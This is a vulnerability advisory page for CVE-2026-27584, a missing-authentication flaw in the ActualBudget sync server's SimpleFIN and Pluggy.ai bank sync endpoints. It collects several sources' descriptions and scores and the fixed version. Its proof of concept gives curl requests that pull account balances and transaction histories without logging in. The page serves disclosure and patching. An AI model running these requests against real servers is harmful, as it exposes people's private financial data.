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CVE-2026-27584

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

9.2 CriticalFix available

Actual is a local-first personal finance tool. Prior to version 26.2.1, missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information. This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network. Version 26.2.1 patches the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.45%Up 0.3 points since Feb 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.2

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Actual is a local-first personal finance tool. Prior to version 26.2.1, missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information. This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network. Version 26.2.1 patches the issue.

Record
CVE-2026-27584
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weakness
CWE-306
Updated
2026-11-02
EUVDEUVD-2026-8526 9.2

Actual is a local-first personal finance tool. Prior to version 26.2.1, missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information. This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network. Version 26.2.1 patches the issue.

Record
EUVD-2026-8526
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m2cq-xjgm-f668 9.2

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):

  • /packages/sync-server/src/app-simplefin/app-simplefin.js
  • /packages/sync-server/src/app-pluggyai/app-pluggyai.js

The sensitive endpoints missing authentication are:

  • POST /simplefin/status
  • POST /simplefin/accounts
  • POST /simplefin/transactions
  • POST /pluggyai/status
  • POST /pluggyai/accounts
  • POST /pluggyai/transactions

The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):

const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication

PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN:

# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"

# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"

# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

PluggyAI:

# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"

# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

Example response from POST /simplefin/accounts:

{
    "status": "ok",
    "data": {
        "accounts": [
            {
                "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
                "name": "CHEQUING ACCOUNT",
                "currency": "CAD",
                "balance": "1234.56",
                "available-balance": "0.00",
                "balance-date": 1771531758,
                "transactions": [],
                "holdings": [],
                "org": {
                    "domain": "www.cibc.com",
                    "name": "CIBC",
                    "sfin-url": "https://beta-bridge.simplefin.org/simplefin",
                    "url": "https://www.cibconline.cibc.com",
                    "id": "www.cibconline.cibc.com"
                }
            },
            ...
        ]
    }
}

Example response from POST /simplefin/transactions:

{
    "status": "ok",
    "data": {
        "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
            "balances": [
                {
                    "balanceAmount": {
                        "amount":…
Record
GHSA-m2cq-xjgm-f668
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weakness
CWE-306
Updated
2026-11-02
NVD 9.2

Actual is a local-first personal finance tool. Prior to version 26.2.1, missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information. This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network. Version 26.2.1 patches the issue.

Record
CVE-2026-27584
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
OSV 9.2

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Actual is a local-first personal finance tool. Prior to version 26.2.1, missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information. This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network. Version 26.2.1 patches the issue.

Record
CVE-2026-27584
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weakness
CWE-306
Updated
2026-11-02
OSVGHSA-m2cq-xjgm-f668 9.2

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):

  • /packages/sync-server/src/app-simplefin/app-simplefin.js
  • /packages/sync-server/src/app-pluggyai/app-pluggyai.js

The sensitive endpoints missing authentication are:

  • POST /simplefin/status
  • POST /simplefin/accounts
  • POST /simplefin/transactions
  • POST /pluggyai/status
  • POST /pluggyai/accounts
  • POST /pluggyai/transactions

The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):

const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication

PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN:

# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"

# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"

# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

PluggyAI:

# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"

# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

Example response from POST /simplefin/accounts:

{
    "status": "ok",
    "data": {
        "accounts": [
            {
                "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
                "name": "CHEQUING ACCOUNT",
                "currency": "CAD",
                "balance": "1234.56",
                "available-balance": "0.00",
                "balance-date": 1771531758,
                "transactions": [],
                "holdings": [],
                "org": {
                    "domain": "www.cibc.com",
                    "name": "CIBC",
                    "sfin-url": "https://beta-bridge.simplefin.org/simplefin",
                    "url": "https://www.cibconline.cibc.com",
                    "id": "www.cibconline.cibc.com"
                }
            },
            ...
        ]
    }
}

Example response from POST /simplefin/transactions:

{
    "status": "ok",
    "data": {
        "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
            "balances": [
                {
                    "balanceAmount": {
                        "amount":…
Record
GHSA-m2cq-xjgm-f668
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weakness
CWE-306
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@actual-app/sync-server
npm
 before 26.2.1
26.2.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-27584 is a critical vulnerability (CVSS 9.2) in Actualbudget Actual, published February 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 39th percentile. Fixed in @actual-app/sync-server 26.2.1.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

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